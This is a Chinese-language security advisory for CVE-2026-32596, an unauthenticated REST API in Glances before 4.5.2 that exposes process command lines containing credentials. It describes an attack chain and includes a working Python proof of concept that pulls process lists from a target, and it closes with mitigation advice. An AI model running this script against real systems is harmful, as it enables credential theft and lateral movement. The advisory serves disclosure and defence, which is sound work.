IPBUF安全漏洞报告
English
CVE-2026-32596 CVSS 7.5 高危

CVE-2026-32596 Glances Web Server未授权访问漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32596
漏洞类型
未授权访问/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Glances (开源跨平台系统监控工具)

相关标签

未授权访问信息泄露弱认证GlancesREST API凭据泄露CVE-2026-32596

漏洞概述

Glances是一款开源的跨平台系统监控工具。在4.5.2版本之前,当使用`glances -w`命令启动时,Glances的Web服务器默认不启用身份认证功能,导致REST API接口暴露在网络中,任何网络客户端都可以访问敏感的系统信息。该漏洞可导致攻击者获取包含凭据(密码、API密钥、令牌等)的进程命令行信息。攻击者无需任何认证即可通过REST API获取目标系统的敏感数据,包括正在运行的进程详细信息。由于Web服务默认监听在localhost或0.0.0.0,攻击者可通过网络直接访问这些端点。此漏洞的CVSS评分为7.5,属于高危漏洞,机密性影响为高,但完整性和可用性影响为无。漏洞已于2026年3月18日披露并修复。

技术细节

Glances在4.5.2之前的版本中,使用`glances -w`启动Web服务器时,默认配置未启用身份认证机制。Web服务器启动后会监听指定的端口(默认通常为61208或5000),并提供REST API接口。攻击者可以通过HTTP请求直接访问这些API端点,获取系统监控数据。关键的敏感信息泄露点在于API会返回正在运行的进程列表及其完整的命令行参数。攻击者通过访问`/api/3/processlist`或类似的端点,即可获取所有进程的完整命令行信息,其中包括可能以命令行参数形式传递的密码、API密钥、访问令牌等敏感凭据。由于无需认证,攻击者只需知道目标服务器的IP地址和端口即可实施攻击。漏洞根因在于Glances开发者出于便利性考虑,默认禁用了认证功能,但未充分评估安全风险。

攻击链分析

STEP 1
步骤1
攻击者扫描目标网络,发现运行Glances Web服务器(默认端口61208)的主机
STEP 2
步骤2
攻击者确认Glances版本低于4.5.2,漏洞存在
STEP 3
步骤3
攻击者构造HTTP请求访问REST API端点,如/api/3/processlist
STEP 4
步骤4
由于默认无认证,API返回完整的进程列表及其命令行参数
STEP 5
步骤5
攻击者从响应中提取敏感信息,包括密码、API密钥、访问令牌等凭据
STEP 6
步骤6
利用获取的凭据进一步横向移动或访问其他系统资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32596 PoC - Glances Web Server Unauthorized Access # This PoC demonstrates accessing the Glances REST API without authentication import requests import json import sys def check_glances_version(target_url): """Check Glances version""" try: response = requests.get(f"{target_url}/api/3/all", timeout=10) if response.status_code == 200: data = response.json() version = data.get('glances', {}).get('version', 'Unknown') return version except Exception as e: return None def extract_sensitive_info(target_url): """Extract process information including credentials from Glances API""" endpoints = [ '/api/3/processlist', '/api/3/processlistall', '/api/3/all' ] results = [] for endpoint in endpoints: try: response = requests.get(f"{target_url}{endpoint}", timeout=10) if response.status_code == 200: data = response.json() results.append({ 'endpoint': endpoint, 'data': data }) except Exception as e: print(f"Error accessing {endpoint}: {e}") return results def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-32596-poc.py <target_url>") print("Example: python cve-2026-32596-poc.py http://192.168.1.100:61208") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Targeting: {target_url}") # Check version version = check_glances_version(target_url) if version: print(f"[+] Glances version: {version}") else: print("[-] Could not determine version or connect to target") sys.exit(1) # Extract sensitive information print("[*] Extracting process information...") results = extract_sensitive_info(target_url) if results: print(f"[+] Found {len(results)} accessible endpoints") for result in results: print(f"\n[+] Data from {result['endpoint']}:") print(json.dumps(result['data'], indent=2)) else: print("[-] No accessible endpoints found") if __name__ == "__main__": main()

影响范围

Glances < 4.5.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置防火墙规则限制对Glances Web端口的访问,仅允许受信任的IP地址访问。同时检查运行中的进程,确保没有在命令行中以明文形式传递密码、API密钥等敏感凭据。考虑使用环境变量或配置文件来管理敏感信息,而非命令行参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表